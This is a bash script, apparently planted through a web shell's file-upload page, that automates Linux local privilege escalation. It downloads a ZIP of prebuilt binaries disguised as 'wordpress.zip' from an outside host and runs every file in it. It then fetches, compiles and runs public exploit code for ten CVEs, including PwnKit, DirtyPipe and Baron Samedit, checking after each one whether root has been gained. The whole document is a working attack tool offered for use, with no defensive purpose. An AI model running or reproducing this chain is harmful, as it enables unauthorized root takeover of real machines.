/
home
/
sc3naki1272
/
Upload File
HOME
#!/usr/bin/env bash # # LINUX LPE AUTOMATION CHAIN v6.0 # Strategy: Execute 1 binary -> wait for output (max 15s) -> check root # -> sleep 2s -> next binary. Then fallback: raw wget -> gcc build -> run # Date: 2026-07-17 # set -uo pipefail # ---------------------------------------------------------------------------- # COLOR PALETTE - BRIGHT ONLY, NO DIM # ---------------------------------------------------------------------------- CLR_RST='\033[0m' CLR_BLD='\033[1m' CLR_RED='\033[38;5;196m' CLR_ORG='\033[38;5;208m' CLR_YLW='\033[38;5;226m' CLR_GRN='\033[38;5;46m' CLR_CYN='\033[38;5;51m' CLR_BLU='\033[38;5;45m' CLR_MGT='\033[38;5;201m' CLR_WHT='\033[38;5;15m' CLR_BG_RED='\033[48;5;196m' CLR_BG_GRN='\033[48;5;46m' CLR_BG_BLU='\033[48;5;45m' CLR_BG_MGT='\033[48;5;201m' CLR_BG_ORG='\033[48;5;208m' # ---------------------------------------------------------------------------- # UTILITIES # ---------------------------------------------------------------------------- FLOW_SLEEP="0.05" flow_sleep() { sleep "$FLOW_SLEEP"; } hline() { echo -e "${CLR_BLU}═════════════════════════════════════════════════════════════════════${CLR_RST}" } info() { echo -e "${CLR_BLU}[${CLR_WHT}INFO${CLR_BLU}]${CLR_RST} $1"; flow_sleep; } success() { echo -e "${CLR_GRN}[${CLR_WHT}OK${CLR_GRN}]${CLR_RST} $1"; flow_sleep; } warn() { echo -e "${CLR_YLW}[${CLR_WHT}WARN${CLR_YLW}]${CLR_RST} $1"; flow_sleep; } error() { echo -e "${CLR_RED}[${CLR_WHT}FAIL${CLR_RED}]${CLR_RST} $1"; flow_sleep; } root() { echo -e "${CLR_BLD}${CLR_WHT}[ ROOT! ]${CLR_RST} $1"; flow_sleep; } binary() { echo -e "${CLR_MGT}[${CLR_WHT}BIN${CLR_MGT}]${CLR_RST} $1"; flow_sleep; } spinner() { local pid=$1 local msg="$2" local spin='⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏' local i=0 while kill -0 "$pid" 2>/dev/null; do i=$(( (i+1) % 10 )) printf "\r${CLR_CYN}[${CLR_WHT}%s${CLR_CYN}]${CLR_RST} %s" "${spin:$i:1}" "$msg" sleep 0.08 done printf "\r\033[K" } print_banner() { echo -e "" echo -e "${CLR_MGT}${CLR_BLD}═════════════════════════════════════════════════════════════════${CLR_RST}" echo -e "${CLR_MGT}${CLR_BLD}${CLR_RST} ${CLR_CYN}${CLR_BLD}LINUX LPE AUTOMATION CHAIN v6.0${CLR_RST} ${CLR_MGT}${CLR_BLD}${CLR_RST}" echo -e "${CLR_MGT}${CLR_BLD}${CLR_RST} ${CLR_WHT}1-by-1 execution -> output -> check root -> sleep 2s -> next${CLR_RST} ${CLR_MGT}${CLR_BLD}${CLR_RST}" echo -e "${CLR_MGT}${CLR_BLD}${CLR_RST} ${CLR_WHT}Fallback: raw wget -> gcc build -> run${CLR_RST} ${CLR_MGT}${CLR_BLD}${CLR_RST}" echo -e "${CLR_MGT}${CLR_BLD}═════════════════════════════════════════════════════════════════${CLR_RST}" echo -e "" } # ---------------------------------------------------------------------------- # ROOT CHECK # ---------------------------------------------------------------------------- check_root() { if [[ $(id -u) -eq 0 ]]; then root "ROOT SHELL ACQUIRED! Stopping chain." echo -e "" echo -e "${CLR_GRN}${CLR_BLD}═════════════════════════════════════════════════════════════════${CLR_RST}" echo -e "${CLR_GRN}${CLR_BLD} EXPLOIT CHAIN COMPLETE -- ROOT ACHIEVED${CLR_RST}" echo -e "${CLR_GRN}${CLR_BLD}═════════════════════════════════════════════════════════════════${CLR_RST}" echo -e "" exit 0 fi } # ---------------------------------------------------------------------------- # ZIP FETCH + UNZIP + CHMOD # ---------------------------------------------------------------------------- fetch_prebuilt_binaries() { local zip_url="$1" local zip_name zip_name="$(basename "${zip_url%%\?*}")" local work_dir="$2" local zip_path="${work_dir}/${zip_name}" local extract_dir="${work_dir}/prebuilt" info "ZIP URL: ${CLR_WHT}${zip_url}${CLR_RST}" info "ZIP name: ${CLR_WHT}${zip_name}${CLR_RST}" if ! command -v curl >/dev/null 2>&1; then error "curl not found." return 1 fi success "curl found." if [[ -f "$zip_path" ]]; then warn "Old ZIP found. Removing..." rm -f "$zip_path" if [[ -f "$zip_path" ]]; then error "Failed to remove old ZIP." return 1 fi success "Old ZIP removed." fi info "Downloading ZIP..." curl -L --fail --connect-timeout 15 --max-time 30 -o "$zip_path" "$zip_url" & local pid=$! spinner "$pid" "Downloading pre-built binaries..." wait "$pid" if [[ $? -ne 0 ]] || [[ ! -s "$zip_path" ]]; then error "ZIP download failed or empty." rm -f "$zip_path" return 1 fi success "ZIP downloaded: ${CLR_WHT}${zip_path}${CLR_RST}" if ! command -v unzip >/dev/null 2>&1; then error "unzip not found." return 1 fi success "unzip found." if [[ -d "$extract_dir" ]]; then warn "Old extract dir found. Removing..." rm -rf "$extract_dir" fi info "Extracting ZIP..." unzip -o "$zip_path" -d "$extract_dir" &>/dev/null & pid=$! spinner "$pid" "Extracting..." wait "$pid" if [[ $? -ne 0 ]] || [[ ! -d "$extract_dir" ]]; then error "Extraction failed." return 1 fi success "Extracted to: ${CLR_WHT}${extract_dir}${CLR_RST}" rm -f "$zip_path" success "ZIP cleaned up." info "Applying chmod +x to all extracted files..." local file_count=0 local success_count=0 while IFS= read -r f; do file_count=$((file_count + 1)) chmod +x "$f" 2>/dev/null && success_count=$((success_count + 1)) done < <(find "$extract_dir" -type f) success "chmod +x: ${CLR_WHT}${success_count}/${file_count}${CLR_RST} files" echo "$extract_dir" return 0 } # ---------------------------------------------------------------------------- # ENVIRONMENT CHECK # ---------------------------------------------------------------------------- BASE_DIR="$(pwd)/lpe_chain_$(date +%Y%m%d_%H%M%S)" mkdir -p "$BASE_DIR" cd "$BASE_DIR" || exit 1 print_banner info "Working directory: ${CLR_WHT}${BASE_DIR}${CLR_RST}" info "Current user: ${CLR_WHT}$(whoami)${CLR_RST} (UID: $(id -u))" info "Kernel: ${CLR_WHT}$(uname -r)${CLR_RST}" info "Architecture: ${CLR_WHT}$(uname -m)${CLR_RST}" info "Distribution: ${CLR_WHT}$(cat /etc/os-release 2>/dev/null | grep -oP '(?<=^PRETTY_NAME=\").*(?=\")' || echo 'Unknown')${CLR_RST}" hline # ---------------------------------------------------------------------------- # PHASE 1: FETCH PRE-BUILT BINARIES # ---------------------------------------------------------------------------- PREBUILT_ZIP_URL="${PREBUILT_ZIP_URL:-http://pmy.grupmadern.com/rwork/wordpress.zip}" PREBUILT_DIR="" BIN_LIST="" BIN_COUNT=0 info "${CLR_BLD}${CLR_WHT} PHASE 1: PRE-BUILT BINARY FETCH ${CLR_RST}" echo -e "" PREBUILT_DIR=$(fetch_prebuilt_binaries "$PREBUILT_ZIP_URL" "$BASE_DIR" 2>/dev/null | tail -n1) if [[ -z "$PREBUILT_DIR" ]] || [[ ! -d "$PREBUILT_DIR" ]]; then warn "Pre-built fetch failed or invalid dir. Proceeding compile-only." PREBUILT_DIR="" else success "Pre-built dir ready: ${CLR_WHT}${PREBUILT_DIR}${CLR_RST}" BIN_LIST=$(find "$PREBUILT_DIR" -type f | sort) BIN_COUNT=$(echo "$BIN_LIST" | grep -c '^' || echo 0) info "Total binaries found: ${CLR_WHT}${BIN_COUNT}${CLR_RST}" fi hline # ---------------------------------------------------------------------------- # PHASE 2: EXECUTE BINARIES ONE BY ONE # ---------------------------------------------------------------------------- if [[ -n "$BIN_LIST" && "$BIN_COUNT" -gt 0 ]]; then info "${CLR_BLD}${CLR_WHT} PHASE 2: 1-BY-1 BINARY EXECUTION ${CLR_RST}" echo -e "" idx=0 while IFS= read -r binary_path; do idx=$((idx + 1)) bin_name="$(basename "$binary_path")" echo -e "" echo -e "${CLR_ORG}${CLR_BLD}═════════════════════════════════════════════════════════════════${CLR_RST}" echo -e "${CLR_ORG}${CLR_BLD}${CLR_RST} ${CLR_CYN}${CLR_BLD}BINARY $idx / $BIN_COUNT${CLR_RST} ${CLR_ORG}${CLR_BLD}${CLR_RST}" echo -e "${CLR_ORG}${CLR_BLD}${CLR_RST} ${CLR_WHT}${CLR_BLD}$bin_name${CLR_RST} ${CLR_ORG}${CLR_BLD}${CLR_RST}" echo -e "${CLR_ORG}${CLR_BLD}═════════════════════════════════════════════════════════════════${CLR_RST}" echo -e "" binary "Path: ${CLR_WHT}${binary_path}${CLR_RST}" info "Executing binary ${CLR_WHT}$bin_name${CLR_RST} ..." echo -e "${CLR_MGT}════════════════════════════════════ BINARY OUTPUT START ════════════════════════════════════${CLR_RST}" echo -e "" tmp_out="${BASE_DIR}/.tmp_out_${idx}" timeout 15 "$binary_path" > "$tmp_out" 2>&1 & bin_pid=$! wait "$bin_pid" 2>/dev/null bin_status=$? # Print max 3 lines of output head -n 3 "$tmp_out" 2>/dev/null total_lines=$(wc -l < "$tmp_out" 2>/dev/null || echo 0) if [[ "$total_lines" -gt 3 ]]; then echo -e "${CLR_YLW}($((total_lines - 3)))${CLR_RST}" fi rm -f "$tmp_out" echo -e "" echo -e "${CLR_MGT}════════════════════════════════════ BINARY OUTPUT END ════════════════════════════════════ ${CLR_RST}" echo -e "" if [[ $bin_status -eq 0 ]]; then success "Binary $bin_name exited cleanly." elif [[ $bin_status -eq 124 ]]; then warn "Binary $bin_name timed out after 15s." else warn "Binary $bin_name exited with code $bin_status." fi info "Checking if we are root..." check_root warn "Binary ${CLR_WHT}$bin_name${CLR_RST} failed. Trying next..." sleep 3.5 done <<< "$BIN_LIST" echo -e "" warn "All ${CLR_WHT}${BIN_COUNT}${CLR_RST} pre-built binaries exhausted. No root." hline fi # ---------------------------------------------------------------------------- # PHASE 3: FALLBACK -- RAW WGET -> GCC BUILD -> RUN # ---------------------------------------------------------------------------- declare -a EXPLOIT_NAMES=( "DirtyFrag" "CopyFail" "PwnKit" "GhostLock" "DirtyPipe" "BaronSamedit" "OverlayFS" "PolkitAuthBypass" "Cgroups" "NFTObject" ) declare -a EXPLOIT_CVE=( "CVE-2026-43284/43500" "CVE-2026-31431" "CVE-2021-4034" "CVE-2026-43499" "CVE-2022-0847" "CVE-2021-3156" "CVE-2021-3493" "CVE-2021-3560" "CVE-2022-0492" "CVE-2022-2586" ) declare -a EXPLOIT_URLS=( "https://raw.githubusercontent.com/V4bel/dirtyfrag/master/exp.c" "https://raw.githubusercontent.com/AliHzSec/CVE-2026-31431/master/main.py" "https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c" "https://raw.githubusercontent.com/NebuSec/CyberMeowfia/main/security-research/Linux-CVE-2026-43501/exploit.c" "https://raw.githubusercontent.com/ZZ-SOCMAP/CVE-2022-0847/main/CVE-2022-0847.c" "https://raw.githubusercontent.com/worawit/CVE-2021-3156/main/exploit_nss.py" "https://raw.githubusercontent.com/briskets/CVE-2021-3493/main/exploit.c" "https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py" "https://raw.githubusercontent.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC/master/CVE-2022-0492.sh" "https://raw.githubusercontent.com/sniper404ghostxploit/CVE-2022-2586/main/exploit.c" ) declare -a EXPLOIT_FILES=( "exp.c" "main.py" "cve-2021-4034-poc.c" "exploit.c" "CVE-2022-0847.c" "exploit_nss.py" "exploit.c" "CVE-2021-3560.py" "CVE-2022-0492.sh" "exploit.c" ) declare -a EXPLOIT_BINS=( "dirtyfrag" "copyfail" "pwnkit" "ghostlock" "dirtypipe" "baronsamedit" "overlayfs" "polkit" "cgroups" "nft_object" ) declare -a EXPLOIT_BUILD_CMDS=( "gcc -o dirtyfrag exp.c -lpthread -lrt 2>/dev/null || gcc -o dirtyfrag exp.c -lpthread 2>/dev/null || gcc -o dirtyfrag exp.c" "cp main.py copyfail.py && chmod +x copyfail.py" "gcc -o pwnkit cve-2021-4034-poc.c" "gcc -o ghostlock exploit.c -lpthread -lrt" "gcc -o dirtypipe CVE-2022-0847.c" "cp exploit_nss.py baronsamedit.py && chmod +x baronsamedit.py" "gcc -o overlayfs exploit.c" "cp CVE-2021-3560.py polkit.py && chmod +x polkit.py" "cp CVE-2022-0492.sh cgroups.sh && chmod +x cgroups.sh" "gcc -o nft_object exploit.c -lpthread -lrt" ) declare -a EXPLOIT_RUN_CMDS=( "./dirtyfrag" "python3 copyfail.py" "./pwnkit" "./ghostlock" "./dirtypipe /etc/passwd" "python3 baronsamedit.py" "./overlayfs" "python3 polkit.py" "./cgroups.sh" "./nft_object" ) TOTAL=${#EXPLOIT_NAMES[@]} print_exploit_header() { local idx=$1 local name="${EXPLOIT_NAMES[$idx]}" local cve="${EXPLOIT_CVE[$idx]}" echo -e "" echo -e "${CLR_MGT}${CLR_BLD}═════════════════════════════════════════════════════════════════${CLR_RST}" echo -e "${CLR_MGT}${CLR_BLD}${CLR_RST} ${CLR_CYN}${CLR_BLD}EXPLOIT $((idx+1)) / $TOTAL${CLR_RST} ${CLR_MGT}${CLR_BLD}${CLR_RST}" echo -e "${CLR_MGT}${CLR_BLD}${CLR_RST} ${CLR_WHT}${CLR_BLD}$name${CLR_RST} ${CLR_YLW}|${CLR_RST} ${CLR_CYN}$cve${CLR_RST} ${CLR_MGT}${CLR_BLD}${CLR_RST}" echo -e "${CLR_MGT}${CLR_BLD}═════════════════════════════════════════════════════════════════${CLR_RST}" echo -e "" } wget_source() { local idx=$1 local url="${EXPLOIT_URLS[$idx]}" local file="${EXPLOIT_FILES[$idx]}" local name="${EXPLOIT_NAMES[$idx]}" info "Downloading ${CLR_WHT}$name${CLR_RST} from raw URL..." info "URL: ${CLR_CYN}$url${CLR_RST}" if command -v wget >/dev/null 2>&1; then wget --timeout=15 --tries=2 -O "$file" "$url" &>/dev/null & elif command -v curl >/dev/null 2>&1; then curl -L --connect-timeout 15 --max-time 30 -o "$file" "$url" &>/dev/null & else error "Neither wget nor curl found." return 1 fi local pid=$! spinner "$pid" "Downloading $name source..." wait "$pid" if [[ $? -ne 0 ]] || [[ ! -f "$file" ]] || [[ ! -s "$file" ]]; then error "Download failed for ${CLR_WHT}$name${CLR_RST}." return 1 fi success "Downloaded ${CLR_WHT}$file${CLR_RST} (${CLR_WHT}$(wc -c < "$file")${CLR_RST} bytes)" return 0 } build_exploit() { local idx=$1 local name="${EXPLOIT_NAMES[$idx]}" local build_cmd="${EXPLOIT_BUILD_CMDS[$idx]}" info "Building ${CLR_WHT}$name${CLR_RST} with RAW GCC..." info "Build command: ${CLR_CYN}$build_cmd${CLR_RST}" eval "$build_cmd" &>/dev/null & local pid=$! spinner "$pid" "Compiling $name..." wait "$pid" local build_status=$? if [[ $build_status -ne 0 ]]; then error "Build failed for ${CLR_WHT}$name${CLR_RST}." return 1 fi success "Build completed for ${CLR_WHT}$name${CLR_RST}" return 0 } run_exploit() { local idx=$1 local name="${EXPLOIT_NAMES[$idx]}" local run_cmd="${EXPLOIT_RUN_CMDS[$idx]}" info "Executing ${CLR_WHT}$name${CLR_RST} ..." info "Run command: ${CLR_CYN}$run_cmd${CLR_RST}" echo -e "" echo -e "${CLR_MGT}════════════════════════════════════ EXPLOIT OUTPUT START ═══════════════════════════════════ ${CLR_RST}" echo -e "" tmp_out="${BASE_DIR}/.tmp_exploit_${idx}" timeout 15 bash -c "$run_cmd" > "$tmp_out" 2>&1 & local run_pid=$! wait "$run_pid" 2>/dev/null local run_status=$? # Print max 3 lines of output head -n 3 "$tmp_out" 2>/dev/null total_lines=$(wc -l < "$tmp_out" 2>/dev/null || echo 0) if [[ "$total_lines" -gt 3 ]]; then echo -e "${CLR_YLW}... ($((total_lines - 3)) more lines suppressed)${CLR_RST}" fi rm -f "$tmp_out" echo -e "" echo -e "${CLR_MGT}════════════════════════════════════ EXPLOIT OUTPUT END ═══════════════════════════════════ ${CLR_RST}" echo -e "" if [[ $run_status -eq 0 ]]; then success "Exploit $name exited cleanly." elif [[ $run_status -eq 124 ]]; then warn "Exploit $name timed out after 15s." else warn "Exploit $name exited with code $run_status." fi info "Checking if we are root..." check_root warn "Exploit ${CLR_WHT}$name${CLR_RST} failed. Trying next..." return 0 } # ---------------------------------------------------------------------------- # MAIN FALLBACK LOOP # ---------------------------------------------------------------------------- info "${CLR_BLD}${CLR_WHT} PHASE 3: FALLBACK -- RAW WGET + GCC BUILD + RUN ${CLR_RST}" echo -e "" for i in $(seq 0 $((TOTAL-1))); do check_root print_exploit_header "$i" name="${EXPLOIT_NAMES[$i]}" if ! wget_source "$i"; then warn "Skipping ${CLR_WHT}$name${CLR_RST} -- download failed." hline sleep 3.5 continue fi if ! build_exploit "$i"; then warn "Skipping ${CLR_WHT}$name${CLR_RST} -- build failed." hline sleep 3.5 continue fi if ! run_exploit "$i"; then warn "Skipping ${CLR_WHT}$name${CLR_RST} -- run failed." hline sleep 3.5 continue fi check_root sleep 3.5 hline done echo -e "" echo -e "${CLR_BLD}${CLR_WHT} ALL EXPLOITS EXHAUSTED -- NO ROOT GAINED ${CLR_RST}" echo -e "" echo -e "${CLR_RED}System may be fully patched or requires manual analysis.${CLR_RST}" echo -e "${CLR_RED}Check files in: ${CLR_WHT}$BASE_DIR${CLR_RST}" echo -e "" exit 1